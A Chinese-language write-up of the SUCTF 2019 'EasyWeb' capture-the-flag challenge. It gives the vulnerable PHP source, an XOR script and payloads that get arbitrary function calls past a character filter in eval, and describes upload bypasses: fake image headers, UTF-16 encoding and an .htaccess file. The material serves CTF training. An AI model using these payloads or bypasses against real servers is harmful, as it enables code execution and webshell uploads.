open_basedir+异或+.htaccess

function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}
$hhh = @$_GET['_'];
if (!$hhh){highlight_file(__FILE__);
}
if(strlen($hhh)>18){die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);

分为两部分,思路是调用get_the_flag()函数


第一部分函数绕过

$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){     //限制18位die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');//正则只能16进制$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);

通过正则匹配脚本发现能用的不多
利用不可见字符异或来构造:

<?php
$payload = '';for($i=0;$i<strlen($argv[1]);$i++)
{   for($j=0;$j<255;$j++){$k = chr($j)^chr(255);  //dechex(255) = ffif($k == $argv[1][$i])$payload .= '%'.dechex($j);}
}
echo $payload;

payload:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

发现phpinfo()能构造成功

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

就此绕过第一段


第二部分函数绕过

一个过滤正则基本把东西都匹配了,只是这次刚好就是apache+php环境了,但是还有一个.htaccess

exif_imagetype() 的绕过方式可以用"\x00\x00\x8a\x39\x8a\x39"也可以用"#define width 1337""#define height 1337"

这里注意到php版本为7.2所以,不能用/<script>标签绕过<?的过滤了,可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass

自动生成.htaccess,以及

2019SUCTF EasyWeb相关推荐

  1. CTF训练计划—[CISCN2019]Easyweb

    前言: 这道题学到不少知识,还卡了很长时间,单独记录一下 [CISCN2019]Easyweb 首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试 burp抓包看有什么线索 ...

  2. Easyweb包括iframe中的页面跳转

    文档地址:常用实例 · EasyWeb开发文档 · 看云 跳转新页面:window.open("test.html"); 本窗口跳转:window.location.assign( ...

  3. [CISCN2019 总决赛 Day2 Web1]Easyweb 1

    [CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...

  4. buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...

  5. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  6. 【安洵杯 2019】easy-web

    涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...

  7. easyweb新标签页打开

    index.openTab({                 title: '添加产品',                  url: 'pages/Order/form/order-add.htm ...

  8. buuctf-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫描目录   得到*.php.bak 尝试*表示的东西, index,flag之类的都没用 有image.php,顺便可以看到可能的注入点 下载下了备份文件 <?php include &qu ...

  9. BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

    文章目录 前言 一.源码审计 二.开始冻手 1.伪造Cookie 2.上传文件 3.getshell 总结 前言 没赶上2019的CISCN比赛,只能在BUU看到前人大佬们的荣光~ 不是很清楚BUU附 ...

最新文章

  1. 关于JavaScript为何要限制跨域访问
  2. 编程范式,程序员的编程世界观
  3. HDU 1867 A + B for you again KMP解决问题的方法
  4. 十一、PHP框架Laravel学习笔记——构造器的查询.分块.聚合
  5. uboot——之初体验
  6. Dubbo(四) 消费者、提供者工程搭建并使用注解实现远程调用
  7. oracle共享内存段手工清理
  8. Java算法常见面试题及答案
  9. 在 uniapp 中使用 阿里巴巴矢量图标
  10. Microsoft Visual Studio 2010(vs2010) 中文版安装
  11. 广州恒义计算机科技,【长文】SONY MAP-S1解码一体机恒义科技HY-05台式耳放听感测评...
  12. 2020第一本书《自私的基因》
  13. 在html中div水平垂直css,html中div使用CSS实现水平/垂直居中的多种方式
  14. 深圳外包及不考虑公司名单
  15. linux涂鸦软件,绘图应用程序:Pinta,Krita,Tux Paint,Drawpile,MyPaint,KolourPaint
  16. 因果,因果推断,因果关系是什么?
  17. 浮生寂的伤感非主流日志发布:相信有天我会比你幸福
  18. 千锋逆战班学员教你从零基础了解HTML5的知识
  19. AV1:谷歌微软等联合打造的新视频压缩技术
  20. word论文排版插件_用这个Word插件,瞬间完成一键排版

热门文章

  1. UML统一建模语言第1章 UML概述课后习题
  2. 操作系统教程第六版——第四章课后作业
  3. 电子企业WMS仓储管理系统解决方案
  4. FFmpeg从入门到精通-云享读书会
  5. 为您的 Vue.js 应用程序选择最佳电子商务平台
  6. Ps学习(圆形选区和自由变换的运用)
  7. 软件测试面试题-移动端功能测试高频面试题
  8. win2012 安装华为U2000 U2000V200R018C60SPC200 解决”使用isql命令连接SQL Server服务失败
  9. Anaconda安装下载-亲测详细版
  10. Gaea To Houdini